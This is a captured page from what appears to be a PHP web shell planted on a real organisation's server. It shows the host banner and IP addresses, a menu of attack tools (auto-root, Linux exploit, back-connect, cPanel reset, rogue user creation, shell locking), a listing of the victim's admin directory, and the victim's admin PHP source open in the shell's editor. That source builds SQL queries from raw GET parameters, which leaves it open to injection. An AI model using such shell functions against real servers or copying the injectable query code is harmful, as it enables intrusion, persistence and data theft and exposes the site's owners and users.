Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.186
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
aryaadmin /
Archive /
[ HOME SHELL ]
Name
Size
Permission
Action
common
[ DIR ]
drwxr-xr-x
arya_AdminInclude_11-01-16.php
1002
B
-rw-r--r--
arya_AdminInclude_13-01-16.php
1.06
KB
-rw-r--r--
arya_AdminInclude_16-09-14.php
811
B
-rw-r--r--
arya_addactivities_28-03-14.ph...
16.43
KB
-rw-r--r--
arya_addadminpages_14-08-14.ph...
13.62
KB
-rw-r--r--
arya_addadmissionnotification_...
32.91
KB
-rw-r--r--
arya_addadvertisement_18-12-14...
23.42
KB
-rw-r--r--
arya_addarticle_05-08-14.php
30.03
KB
-rw-r--r--
arya_addarticle_25-11-15.php
29.99
KB
-rw-r--r--
arya_addaryasamajtab_28-03-14....
22.29
KB
-rw-r--r--
arya_addaudioalbum_28-03-14.ph...
23.93
KB
-rw-r--r--
arya_addauthor_13-09-14.php
20.12
KB
-rw-r--r--
arya_adddiscategory_28-03-14.p...
28.26
KB
-rw-r--r--
arya_adddiscover_04-08-14.php
27.41
KB
-rw-r--r--
arya_addelectionappointment_02...
16.17
KB
-rw-r--r--
arya_addengvarriable_25-03-14....
8.84
KB
-rw-r--r--
arya_addevents_26-01-16.php
50.97
KB
-rw-r--r--
arya_addevents_28-03-14.php
50.96
KB
-rw-r--r--
arya_addeventtype_28-03-14.php
29.83
KB
-rw-r--r--
arya_addfestival_23-07-14.php
30.54
KB
-rw-r--r--
arya_addfiledownload_09-12-14....
12.06
KB
-rw-r--r--
arya_addimportantplaces_28-03-...
35.98
KB
-rw-r--r--
arya_addinstituteprofile_02-10...
23.85
KB
-rw-r--r--
arya_addinstituteprofile_09-05...
23.84
KB
-rw-r--r--
arya_addinstitutetype_04-08-14...
33.23
KB
-rw-r--r--
arya_addinstitution_09-10-14.p...
56.08
KB
-rw-r--r--
arya_addlanguage_04-08-14.php
13.81
KB
-rw-r--r--
arya_addmagazines_02-01-15.php
38.12
KB
-rw-r--r--
arya_addmagazinetitle_09-10-14...
44.28
KB
-rw-r--r--
arya_addmember_29-05-14.php
37.84
KB
-rw-r--r--
arya_addmembertype_04-08-14.ph...
22.95
KB
-rw-r--r--
arya_addmobileaudio_05-12-14.p...
23.51
KB
-rw-r--r--
arya_addmobileaudio_06-01-16.p...
9.1
KB
-rw-r--r--
arya_addmobileaudio_08-01-16.p...
8.69
KB
-rw-r--r--
arya_addmobileimage_05-12-14.p...
20.91
KB
-rw-r--r--
arya_addnews_arvind-18-01-19.p...
61.42
KB
-rw-r--r--
arya_addobituary_18-10-14.php
27.42
KB
-rw-r--r--
arya_addphotogallery_28-03-14....
29.04
KB
-rw-r--r--
arya_addportalhomeslidebanner_...
11.62
KB
-rw-r--r--
arya_addportalsection_04-08-14...
22.76
KB
-rw-r--r--
arya_addportaltab_18-04-14.php
24.93
KB
-rw-r--r--
arya_addprimaryrecord_28-03-14...
47.92
KB
-rw-r--r--
arya_addproduct_28-03-14.php
20.39
KB
-rw-r--r--
arya_addradioairing_04-08-14.p...
18.93
KB
-rw-r--r--
arya_addscndtestquestions_12-1...
24.82
KB
-rw-r--r--
arya_addscndtimeline_17-12-14....
24.27
KB
-rw-r--r--
arya_addsecndryfestival_20-02-...
20.89
KB
-rw-r--r--
arya_addsecondaryactivity_18-0...
15.66
KB
-rw-r--r--
arya_addservices_28-03-14.php
17.99
KB
-rw-r--r--
arya_addstreamingbanner_28-03-...
20.97
KB
-rw-r--r--
arya_addtest_28-05-14.php
15.62
KB
-rw-r--r--
arya_addtestlevel_28-05-14.php
22.6
KB
-rw-r--r--
arya_addtestquestions_27-08-14...
45.74
KB
-rw-r--r--
arya_addtimeline_16-12-14.php
16.6
KB
-rw-r--r--
arya_addtimeline_17-12-14.php
16.92
KB
-rw-r--r--
arya_addtimeline_29-12-14.php
14.26
KB
-rw-r--r--
arya_addvacancy_27-05-14.php
34.54
KB
-rw-r--r--
arya_addvideoalbum_28-03-14.ph...
23.91
KB
-rw-r--r--
arya_addvideogallery_28-03-14....
21.82
KB
-rw-r--r--
arya_addwallpaper_28-03-14.php
9.19
KB
-rw-r--r--
arya_addwebsite_28-03-14.php
18.06
KB
-rw-r--r--
arya_adminlogin_18-03-15.php
7.26
KB
-rw-r--r--
arya_articleautoauthor_05-06-1...
342
B
-rw-r--r--
arya_articlependinglist_22-09-...
21.08
KB
-rw-r--r--
arya_autologout_15-03-14.php
1.94
KB
-rw-r--r--
arya_changepasswordpopup_05-05...
5.53
KB
-rw-r--r--
arya_ckeditor2_14-10-14.php
1.64
KB
-rw-r--r--
arya_ckeditor3_14-10-14.php
1.64
KB
-rw-r--r--
arya_downloadallfile_31-03-14....
2.06
KB
-rw-r--r--
arya_downloadfile_20-12-14.php
1.21
KB
-rw-r--r--
arya_downloadpendinglist_03-03...
24.68
KB
-rw-r--r--
arya_editactivities_28-03-14.p...
23.07
KB
-rw-r--r--
arya_editadminpages_14-08-14.p...
17.92
KB
-rw-r--r--
arya_editadmissionnotification...
40.28
KB
-rw-r--r--
arya_editadvertisement_04-08-1...
29.7
KB
-rw-r--r--
arya_editarticle_11-01-16.php
38.44
KB
-rw-r--r--
arya_editarticle_25-11-15.php
38.41
KB
-rw-r--r--
arya_editarticle_27-10-14.php
38.39
KB
-rw-r--r--
arya_editaryasamajtab_28-03-14...
21.9
KB
-rw-r--r--
arya_editaudioalbum_28-03-14.p...
28.46
KB
-rw-r--r--
arya_editauthor_04-11-14.php
24.92
KB
-rw-r--r--
arya_editdiscategory_28-03-14....
16.11
KB
-rw-r--r--
arya_editdiscover_04-08-14.php
34.54
KB
-rw-r--r--
arya_editelectionappointment_1...
20.12
KB
-rw-r--r--
arya_editelectionappointment_1...
20.06
KB
-rw-r--r--
arya_editevents_19-11-14.php
64.12
KB
-rw-r--r--
arya_editeventtype_28-03-14.ph...
20.59
KB
-rw-r--r--
arya_editfestival_28-03-14.php
38.51
KB
-rw-r--r--
arya_editfiledownload_20-12-14...
22.21
KB
-rw-r--r--
arya_editimportantplaces_18-09...
43.96
KB
-rw-r--r--
arya_editinstitutetype_04-08-1...
23.15
KB
-rw-r--r--
arya_editinstitution_01-10-15....
71.83
KB
-rw-r--r--
arya_editinstitution_02-10-15....
73.92
KB
-rw-r--r--
arya_editinstitution_09-10-14....
55.89
KB
-rw-r--r--
arya_editinstitution_29-09-15....
55.8
KB
-rw-r--r--
arya_editlanguage_04-08-14.php
16.45
KB
-rw-r--r--
arya_editmagazines_08-11-14.ph...
54.04
KB
-rw-r--r--
arya_editmagazinetitle_09-10-1...
53.82
KB
-rw-r--r--
arya_editmember_28-03-14.php
47.21
KB
-rw-r--r--
arya_editmembertype_04-08-14.p...
9.27
KB
-rw-r--r--
arya_editmlevelcategory_04-08-...
9.71
KB
-rw-r--r--
arya_editmobileaudio_06-01-16....
8.9
KB
-rw-r--r--
arya_editmobileaudio_08-01-16....
8.5
KB
-rw-r--r--
arya_editmobileaudio_11-12-14....
8.9
KB
-rw-r--r--
arya_editmobileimage_11-12-14....
9.32
KB
-rw-r--r--
arya_editmpowercategory_04-08-...
10.36
KB
-rw-r--r--
arya_editnews_05-12-14.php
70.37
KB
-rw-r--r--
arya_editnews_13-10-15.php
70.37
KB
-rw-r--r--
arya_editobituary_18_10-14.php
31.32
KB
-rw-r--r--
arya_editphotogallery_28-03-14...
22.85
KB
-rw-r--r--
arya_editportalhomeslidebanner...
13.23
KB
-rw-r--r--
arya_editportaltab_16-04-14.ph...
14.91
KB
-rw-r--r--
arya_editportaltab_17-04-14.ph...
15.18
KB
-rw-r--r--
arya_editprimaryrecord_28-03-1...
68.73
KB
-rw-r--r--
arya_editproduct_28-03-14.php
24.67
KB
-rw-r--r--
arya_editquestioncategory_04-0...
4.83
KB
-rw-r--r--
arya_editradioairing_04-08-14....
23.88
KB
-rw-r--r--
arya_editscndtestquestions_27-...
19.24
KB
-rw-r--r--
arya_editscndtimeline_17-12-14...
19.98
KB
-rw-r--r--
arya_editsecndryfestival_20-02...
15.32
KB
-rw-r--r--
arya_editsecondaryactivity_18-...
13.04
KB
-rw-r--r--
arya_editsecondaryservice_18-0...
13.08
KB
-rw-r--r--
arya_editservices_28-03-14.php
27.4
KB
-rw-r--r--
arya_editstreamingbanner_28-03...
24.27
KB
-rw-r--r--
arya_edittestquestions_27-08-1...
36.17
KB
-rw-r--r--
arya_edittestquestions_28-03-1...
34.6
KB
-rw-r--r--
arya_edittimeline_29-12-14.php
16.88
KB
-rw-r--r--
arya_editvacancy_27-05-14.php
44.08
KB
-rw-r--r--
arya_editvideoalbum_28-03-14.p...
29.72
KB
-rw-r--r--
arya_editvideogallery_28-03-14...
26.26
KB
-rw-r--r--
arya_editwallpaper_28-03-14.ph...
10.34
KB
-rw-r--r--
arya_editwebsite_28-03-14.php
22.98
KB
-rw-r--r--
arya_forgotpwd_06-05-14.php
5.37
KB
-rw-r--r--
arya_ftpfile_02-01-15.php
1.44
KB
-rw-r--r--
arya_header_29-10-14.php
7.48
KB
-rw-r--r--
arya_home_24-12-15.php
640
B
-rw-r--r--
arya_insertpamphlet_21-09-15.p...
15.51
KB
-rw-r--r--
arya_insertpamphlet_25-01-16.p...
15.51
KB
-rw-r--r--
arya_insertpamphlet_28-03-14.p...
16.01
KB
-rw-r--r--
arya_instoffpendinglist_26-05-...
19.27
KB
-rw-r--r--
arya_instpendinglist_01-10-15....
17.35
KB
-rw-r--r--
arya_instpendinglist_28-09-15....
16.42
KB
-rw-r--r--
arya_instphotoupload_18-12-14....
14.98
KB
-rw-r--r--
arya_mailinsquickupload_28-11-...
9.64
KB
-rw-r--r--
arya_memberautodelete_21-06-14...
4.96
KB
-rw-r--r--
arya_menu_14-03-16.php
13.82
KB
-rw-r--r--
arya_mgzndownload_20-12-14.php
2.06
KB
-rw-r--r--
arya_mlevelcategory_04-08-14.p...
23.69
KB
-rw-r--r--
arya_mngactivities_19-06-14.ph...
26.23
KB
-rw-r--r--
arya_mngadmin_18-06-14.php
23.63
KB
-rw-r--r--
arya_mngadminpages_19-06-14.ph...
18.29
KB
-rw-r--r--
arya_mngadmissionnotification_...
20.56
KB
-rw-r--r--
arya_mngadvertisement_19-06-14...
24.17
KB
-rw-r--r--
arya_mngarticle_03-11-14.php
80.54
KB
-rw-r--r--
arya_mngarticle_16_Dec_15.php
80.66
KB
-rw-r--r--
arya_mngauthor_13-09-14.php
22.95
KB
-rw-r--r--
arya_mngblocksequence_15-10-14...
11.64
KB
-rw-r--r--
arya_mngcity_19-06-14.php
22.76
KB
-rw-r--r--
arya_mngcountry_19-06-14.php
19.4
KB
-rw-r--r--
arya_mngcurrentadminlogin_15-0...
4.32
KB
-rw-r--r--
arya_mngdiscover_19-06-14.php
31.28
KB
-rw-r--r--
arya_mngdynamicpages_21-06-14....
18.32
KB
-rw-r--r--
arya_mngelectionappointment_11...
26.85
KB
-rw-r--r--
arya_mngelectionappointment_12...
26.84
KB
-rw-r--r--
arya_mngelectionappointment_16...
27.22
KB
-rw-r--r--
arya_mngengvariable_25-03-14.p...
20.87
KB
-rw-r--r--
arya_mngevents_19-06-14.php
43.6
KB
-rw-r--r--
arya_mngfestival_19-06-14.php
30.69
KB
-rw-r--r--
arya_mngfiledownload_12-03-15....
31.33
KB
-rw-r--r--
arya_mngfiledownload_24-09-15....
31.39
KB
-rw-r--r--
arya_mngimportantplaces_19-06-...
35.95
KB
-rw-r--r--
arya_mnginstitution_09-10-14.p...
107.28
KB
-rw-r--r--
arya_mnginstitution_29-09-15.p...
107.21
KB
-rw-r--r--
arya_mnginstmgzadmin_17-06-14....
38.8
KB
-rw-r--r--
arya_mngmagazines_08-11-14.php
25.66
KB
-rw-r--r--
arya_mngmagazinetitle_09-10-14...
51.98
KB
-rw-r--r--
arya_mngmember_03-10-15.php
76.76
KB
-rw-r--r--
arya_mngmember_09-02-16.php
77.33
KB
-rw-r--r--
arya_mngmember_16_dec_15.php
77.04
KB
-rw-r--r--
arya_mngmember_17-10-14.php
76.08
KB
-rw-r--r--
arya_mngmobileaudio_11-06-15.p...
17.53
KB
-rw-r--r--
arya_mngnews_27-11-14.php
52.54
KB
-rw-r--r--
arya_mngobituary_15-10-14.php
23.06
KB
-rw-r--r--
arya_mngperson_19-06-14.php
51.31
KB
-rw-r--r--
arya_mngpollquestions_19-06-14...
33.89
KB
-rw-r--r--
arya_mngportalhomeslidebanner_...
22.52
KB
-rw-r--r--
arya_mngproduct_19-06-14.php
19.32
KB
-rw-r--r--
arya_mngquickuploads_16-12-14....
28.25
KB
-rw-r--r--
arya_mngradioairing_19-06-14.p...
17.72
KB
-rw-r--r--
arya_mngreporter_19-06-14.php
39.48
KB
-rw-r--r--
arya_mngservices_19-06-14.php
25.44
KB
-rw-r--r--
arya_mngstate_19-06-14.php
20.19
KB
-rw-r--r--
arya_mngstreaming_19-06-14.php
21.1
KB
-rw-r--r--
arya_mngstreamingbanner_19-06-...
20.88
KB
-rw-r--r--
arya_mngtestquestions_04-12-14...
33.56
KB
-rw-r--r--
arya_mngtimeline_26-12-14.php
35.04
KB
-rw-r--r--
arya_mngvacancy_19-06-14.php
25.94
KB
-rw-r--r--
arya_mngvacancy_29-04-14.php
26.58
KB
-rw-r--r--
arya_mngvedmantra_19-06-14.php
25.09
KB
-rw-r--r--
arya_mngwallpaper_19-06-14.php
13.99
KB
-rw-r--r--
arya_mngwebsite_19-06-2014.php
19.61
KB
-rw-r--r--
arya_mobileaudiopending_11-12-...
14.4
KB
-rw-r--r--
arya_mpowercategory_04-08-14.p...
26.06
KB
-rw-r--r--
arya_newsphotoupload_31-01-15....
16.3
KB
-rw-r--r--
arya_obituaryphotos_28-03-14.p...
15.62
KB
-rw-r--r--
arya_otherlangvarriable_25-04-...
12.02
KB
-rw-r--r--
arya_pendingtabs_18-12-14.php
5.19
KB
-rw-r--r--
arya_pendingtabs_29-09-15.php
5.26
KB
-rw-r--r--
arya_persnphotoupload_28-03-14...
16.76
KB
-rw-r--r--
arya_placephotoupload_28-03-14...
16.99
KB
-rw-r--r--
arya_pushnotification_23-09-14...
6.45
KB
-rw-r--r--
arya_quickautodelete_14-05-14....
1.39
KB
-rw-r--r--
arya_quickupldpendinglist_19-1...
36.03
KB
-rw-r--r--
arya_reportpendinglist_13-05-1...
53.47
KB
-rw-r--r--
arya_searchvariablename_15-03-...
352
B
-rw-r--r--
arya_sendquickuploadmail_29-10...
4.41
KB
-rw-r--r--
arya_timelinependinglist_17-12...
28.17
KB
-rw-r--r--
arya_uploadtakeatour_28-05-14....
38.87
KB
-rw-r--r--
arya_viewadminLaPower_arvind-1...
9.24
KB
-rw-r--r--
arya_viewadminactivity_27-03-1...
9.14
KB
-rw-r--r--
arya_viewadminactivity_arvind-...
9.15
KB
-rw-r--r--
arya_viewadminhistory_arvind-1...
7.21
KB
-rw-r--r--
arya_viewadminpower_arvind-14-...
12.76
KB
-rw-r--r--
arya_viewadminprofile_arvind-1...
5.43
KB
-rw-r--r--
arya_viewnewsphotos_28-11-14.p...
7.77
KB
-rw-r--r--
arya_viewobituarymessage_15-10...
6.17
KB
-rw-r--r--
arya_viewobituaryphoto_14-03-1...
7.08
KB
-rw-r--r--
arya_viewpendingquickupload_02...
18.1
KB
-rw-r--r--
arya_viewpendingreport_09-04-1...
17.43
KB
-rw-r--r--
arya_viewquickuploads_02-10-14...
17.91
KB
-rw-r--r--
arya_viewreport_09-04-14.php
17.43
KB
-rw-r--r--
arya_wallpaper_24-02-14.php
570
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : arya_editadmissionnotification_05-08-14.php
<?php include('arya_AdminInclude.php'); //created by vaishali //header start include('arya_header.php'); //header over // link start include("arya_menu.php"); // link over // content start if($_GET['pending']=='1') { $_SESSION['pendadminssion']=$_GET['pending']; } //This is used for admin rights wise display field Start Added By Nitesh 06/02/2013 $admusrid=$_SESSION["adminuserid"]; $dbusercatid=getFieldValue('admcat_id','arya_adminsectionrights','admuser_id="'.$admusrid.'"'); $rightsid=mysql_query('SELECT admsecright_pageid FROM arya_adminsectionrights WHERE admcat_id IN('.$dbusercatid.') AND admuser_id="'.$admusrid.'"'); while($rightfetch=mysql_fetch_array($rightsid)) { $admcatrightsid[]=$rightfetch['admsecright_pageid']; } foreach($admcatrightsid as $key) { $qry="select * from arya_adminpage where page_sectionid='".$key."'"; $q=mysql_query($qry); while($fetch=mysql_fetch_array($q)) { $pagename=$fetch['page_filename']; if($pagename=="arya_addmagazinetitle.php") { $rightapprove=getFieldValue('admsecright_approve','arya_adminsectionrights','admsecright_pageid="'.$key.'" AND admuser_id="'.$admusrid.'" AND admcat_id="'.$dbusercatid.'"'); } } }//admin rights code over $logindate=date('Y-m-d h:i:s'); $curntdate=date('Y-m-d'); $curnttime= date('h:i:s'); $amsnid=$_GET['admsn']; $_SESSION['admsn']=$amsnid; $pagesecid=$_GET['scid']; $_SESSION['pagesecid']=$pagesecid; if($_GET['scid']!="") { $_SESSION['pgsecid']=$_GET['scid']; } $_SESSION['instid']=$_GET['instid']; $qrySelAdmssion="SELECT * FROM arya_admissionnotification WHERE admsn_id='".$amsnid."'"; $qSeladmssion=mysql_query($qrySelAdmssion); $qFetchadmssion=mysql_fetch_array($qSeladmssion); $lngsel11=$qFetchadmssion["lang_id"]; if($_GET['instid']!="") { $mgzn_instid=$_GET['instid']; } else { $mgzn_instid=$qFetchadmssion["inst_id"]; } $ntitle=stripslashes($qFetchadmssion["admsn_title"]); $nhindititle=stripslashes($qFetchadmssion["admsn_titlehindi"]); $nothertitle=stripslashes($qFetchadmssion["admsn_titleother"]); $shorttexteng=stripslashes($qFetchadmssion["admsn_shorttext"]); $shorttextHindi=stripslashes($qFetchadmssion["admsn_shorttexthindi"]); $shorttextOther=stripslashes($qFetchadmssion["admsn_shorttextother"]); $eligibility=stripslashes($qFetchadmssion["admsn_eligibility"]); $Fetchstartdate=stripslashes($qFetchadmssion["admsn_startdate"]); $startdate=explode("-",$Fetchstartdate); $syear=$startdate[0]; $smonth=$startdate[1]; $sday=$startdate[2]; $FetchEnddate=stripslashes($qFetchadmssion["admsn_enddate"]); $enddate=explode("-",$FetchEnddate); $eyear=$enddate[0]; $emonth=$enddate[1]; $eday=$enddate[2]; $notifymdstarttime=explode(":",$qFetchadmssion['admsn_starttime']); $notifyhour=$notifymdstarttime[0]; $notifyminuteam=$notifymdstarttime[1]; $notifyminutearr=explode(" ",$notifyminuteam); $notifyminute=$notifyminutearr[0]; $notifyam=$notifyminutearr[1]; $notifymdendtime=explode(":",$qFetchadmssion['admsn_endtime']); $notifyendhour=$notifymdendtime[0]; $notifyendminuteam=$notifymdendtime[1]; $notifyendminutearr=explode(" ",$notifyendminuteam); $notifyendminute=$notifyendminutearr[0]; $notifyendam=$notifyendminutearr[1]; $Fetchsessiondate=stripslashes($qFetchadmssion["admsn_sessiondate"]); $sessiondate=explode("-",$Fetchsessiondate); $sessionyear=$sessiondate[0]; $sessionmonth=$sessiondate[1]; $sessioneday=$sessiondate[2]; $admsnbrochure=$qFetchadmssion["admsn_brochure"]; $extension=substr($admsnbrochure,strpos($admsnbrochure,'.')+1); $applicationfrom=$qFetchadmssion["admsn_appform"]; $appextension=substr($applicationfrom,strpos($applicationfrom,'.')+1); $contactname=$qFetchadmssion["admsn_contactname"]; $contactno=$qFetchadmssion["admsn_contactno"]; $contactemail=$qFetchadmssion["admsn_contactemail"]; $aprrove=$qFetchadmssion["admsn_approve"]; if($aprrove=="Yes") { $approveyes='checked="checked"'; } else { $approveno='checked="checked"'; } if(isset($_POST["btneditnotify"]))//insert record start { $_SESSION['notificationsession']=1; $postcmbinst=$_POST['cmbinst']; $_SESSION['cmbinst']=$postcmbinst; $magazinetitle=addslashes($_POST["txttitle"]); $_SESSION['txttitle']=$magazinetitle; $magazinehindititle=addslashes($_POST["hindinotificationtitle"]); $_SESSION['hindinotificationtitle']=$magazinehindititle; $magazineothertitle=addslashes($_POST["othernitificationtitle"]); $_SESSION['othernitificationtitle']=$magazineothertitle; $shorttextenglish=addslashes($_POST["txtshorttext"]); $_SESSION['txtshorttext']=$shorttextenglish; $shorttexthindi=addslashes($_POST["txthindishorttext"]); $_SESSION['txthindishorttext']=$shorttexthindi; $shorttextother=addslashes($_POST["othershorttext"]); $_SESSION['othershorttext']=$shorttextother; $eligiblity=addslashes($_POST["txteligiblity"]); $_SESSION['txteligiblity']=$eligiblity; $fetchlanguage=explode(",",$_POST["cmblanguage"]); $postlangvname=$fetchlanguage[0]; $notlanguageid=$fetchlanguage[1]; if($notlanguageid=="") { $_SESSION['lngnotificationid']=""; } else { $_SESSION['lngnotificationid']=$notlanguageid; } $poststartdate=$_POST['fyear']."-".$_POST['fmonth']."-".$_POST['fday']; $postenddate=$_POST['endyear']."-".$_POST['endmonth']."-".$_POST['endday']; $b= strlen($_POST['fmonth']); $c= strlen($_POST["fday"]); $d= strlen($_POST['endmonth']); $e= strlen($_POST["endday"]); $_SESSION['fday']=$_POST['fday']; $_SESSION['fmonth']=$_POST['fmonth']; $_SESSION['fyear']=$_POST['fyear']; $_SESSION['endday']=$_POST['endday']; $_SESSION['endmonth']=$_POST['endmonth']; $_SESSION['endyear']=$_POST['endyear']; $startdate=$_POST['fyear']."-".$month."-".$day; $enddate=$_POST['endyear']."-".$month1."-".$day1; $poststime=$_POST["hour"].":".$_POST["minute"]." ".$_POST["ampm"]; $_SESSION["hour"]=$_POST["hour"]; $_SESSION["minute"]=$_POST["minute"]; $_SESSION["ampm"]=$_POST["ampm"]; $postEtime=$_POST["endhour"].":".$_POST["endminute"]." ".$_POST["pm"]; $_SESSION["endhour"]=$_POST["endhour"]; $_SESSION["endminute"]=$_POST["endminute"]; $_SESSION["pm"]=$_POST["pm"]; $postsessiondate=$_POST['sessionyear']."-".$_POST['sessionmonth']."-".$_POST['sessionday']; $_SESSION['sessionyear']=$_POST['sessionyear']; $_SESSION['sessionmonth']=$_POST['sessionmonth']; $_SESSION['sessionday']=$_POST['sessionday']; $contactpersnname=addslashes($_POST["txtconctname"]); $_SESSION["txtconctname"]=$contactpersnname; $mobileno=addslashes($_POST["txtmobile"]); $_SESSION["txtmobile"]=$mobileno; $email=addslashes($_POST["txtemail"]); $_SESSION["txtemail"]=$email; if($rightapprove=='Self' || $rightapprove=='All') { $chkapprove=$_POST["chksapprove"]; } else { $chkapprove=$aprrove; } unset($_SESSION['chksapproveyes']); unset($_SESSION['chksapproveno']); if($_POST["chksapprove"]=='Yes') { $_SESSION['chksapproveyes']="checked='true'"; } else if($_POST["chksapprove"]=='No') { $_SESSION['chksapproveno']="checked='true'"; } if($_SESSION['lngnotificationid'] > 0) { //$_SESSION['nlnid']; $sellngid='sellng='.$_SESSION['lngnotificationid'].'&'; } else { $sellngid=''; } if($_GET['instid']>0) { $getinstid=$_GET['instid']; $_SESSION['getinstid']=$getinstid; $instid='instid='.$_SESSION['getinstid'].'&'; } else { $instid=''; } if($_SERVER['SERVER_NAME']=='www.thearyasamaj.org' || $_SERVER['SERVER_NAME']=='thearyasamaj.org') { if(find_scripttags($magazinetitle)=="Yes") { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=engttle'); } if(find_scripttags($magazinehindititle)=="Yes") { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=hndttle'); } if(find_scripttags($magazineothertitle)=="Yes") { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=othrttle'); } if(find_scripttags($shorttextenglish)=="Yes") { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=shrtxteng'); } if(find_scripttags($shorttexthindi)=="Yes") { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=shrtxthnd'); } if(find_scripttags($shorttextother)=="Yes") { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=shrtxtothr'); } if(find_scripttags($eligiblity)=="Yes") { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=elgblty'); } if($_POST['fday']=='0' || $_POST['fmonth']=='0' || $_POST['fyear']=='0000') { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=empprcstdt'); } if($_POST['endday']=='0' || $_POST['endmonth']=='0' || $_POST['endyear']=='0000') { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=empprcendt'); } if($startdate > $enddate) { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=cmbdterr'); } if(find_scripttags($contactpersnname)=="Yes") { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=cntprsnm'); } if(is_digits($mobileno)=="Yes" || find_scripttags($mobileno)=="Yes") { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=mblno'); } if(ValidEmailCheck($email)==false) { RedirecPage('arya_editadmissionnotification.php?admsn='.$amsnid.'&scid='.$pagesecid.'&'.$sellngid.$instid.'msg=emalerr'); } } if($magazinetitle!="") { $qryUpdmagazine="UPDATE arya_admissionnotification SET inst_id='".$postcmbinst."',lang_id='".$notlanguageid."',admsn_title='".$magazinetitle."',admsn_titlehindi='".$magazinehindititle."',admsn_titleother='".$magazineothertitle."',admsn_shorttext='".$shorttextenglish."',admsn_shorttexthindi='".$shorttexthindi."',admsn_shorttextother='".$shorttextother."',admsn_eligibility='".$eligiblity."',admsn_startdate='".$poststartdate."',admsn_enddate='".$postenddate."',admsn_starttime='".$poststime."',admsn_endtime='".$postEtime."',admsn_sessiondate='".$postsessiondate."',admsn_contactname='".$contactpersnname."',admsn_contactno='".$mobileno."',admsn_contactemail='".$email."',admsn_approve='".$chkapprove."' WHERE admsn_id='".$amsnid."'"; $qUpdmagazine=mysql_query($qryUpdmagazine); if($qUpdmagazine) { getadminactivity('title_editadmissnotification',$pagesecid,$_SESSION["adminuserid"],$_SERVER["REMOTE_ADDR"],$magazinetitle,$curntdate,$curnttime); if($_FILES["txtimage"]["name"]!="") { unlink('images/notification/brochure/pdffiles/'.getFieldValue('admsn_brochure','arya_admissionnotification','admsn_id="'.$amsnid.'"')); unlink('images/notification/brochure/images/'.getFieldValue('admsn_brochure','arya_admissionnotification','admsn_id="'.$amsnid.'"')); unlink('images/notification/brochure/images/thumb/'.getFieldValue('admsn_brochure','arya_admissionnotification','admsn_id="'.$amsnid.'"')); $filetmpname=$_FILES["txtimage"]["tmp_name"]; $imagename="photo_".$amsnid."_".str_replace(" ","_",$_FILES["txtimage"]["name"]); $extension1=substr($imagename,strpos($imagename,'.')+1); if($extension1=='pdf' || $extension1=='PDF') { $filename=$amsnid."_".str_replace(" ","_",$_FILES['txtimage']['name']); $ImagePath1="images/notification/"; $ImagePath2="images/notification/brochure/"; $ImagePath="images/notification/brochure/pdffiles/"; if(!is_dir($ImagePath1)) { mkdir($ImagePath1,0777); } if(!is_dir($ImagePath2)) { mkdir($ImagePath2,0777); } if(!is_dir($ImagePath)) { mkdir($ImagePath,0777); } $filepath="images/notification/brochure/pdffiles/".$filename; copy($_FILES['txtimage']['tmp_name'],$filepath); $size=$_FILES['txtimage']['size']; $update_image_name="update arya_admissionnotification set admsn_brochure='".$filename."' where admsn_id =".$amsnid.""; $res=mysql_query($update_image_name); } else { $ImagePath1="images/notification/"; $ImagePath2="images/notification/brochure/"; $ImagePath="images/notification/brochure/images/"; $ThumbPath="images/notification/brochure/images/thumb/"; if(!is_dir($ImagePath1)) { mkdir($ImagePath1); chmod($ImagePath1,0777); } if(!is_dir($ImagePath2)) { mkdir($ImagePath2); chmod($ImagePath2,0777); } if(!is_dir($ImagePath)) { mkdir($ImagePath); chmod($ImagePath,0777); } if(!is_dir($ThumbPath)) { mkdir($ThumbPath); chmod($ThumbPath,0777); } $extension=substr($imagename,strpos($imagename,'.')+1); if($extension=='jpg' || $extension=='jpeg' || $extension=='JPEG' || $extension=='JPG' || $extension=='png' || $extension=='PNG' || $extension=='gif' || $extension=='GIF') { if(move_uploaded_file($filetmpname,$ImagePath.$imagename)) { $Thumwidth = "100"; $Thumheight = "122"; $ThumbtoPath=$ThumbPath.$imagename; generate_image_thumbnail($ImagePath.$imagename, $ThumbtoPath,$Thumwidth,$Thumheight); $ThumbtoPath1=$BigThumbPath.$imagename; $UploadImg=generate_image_thumbnail($ImagePath.$imagename, $ThumbtoPath1, $Thumwidth1, $Thumheight1); copy($_FILES['txtimage']['tmp_name'],$ImagePath); $size=$_FILES['txtimage']['size']; $update_image_name="update arya_admissionnotification set admsn_brochure='".$imagename."' where admsn_id =".$amsnid.""; $res=mysql_query($update_image_name); } } } } 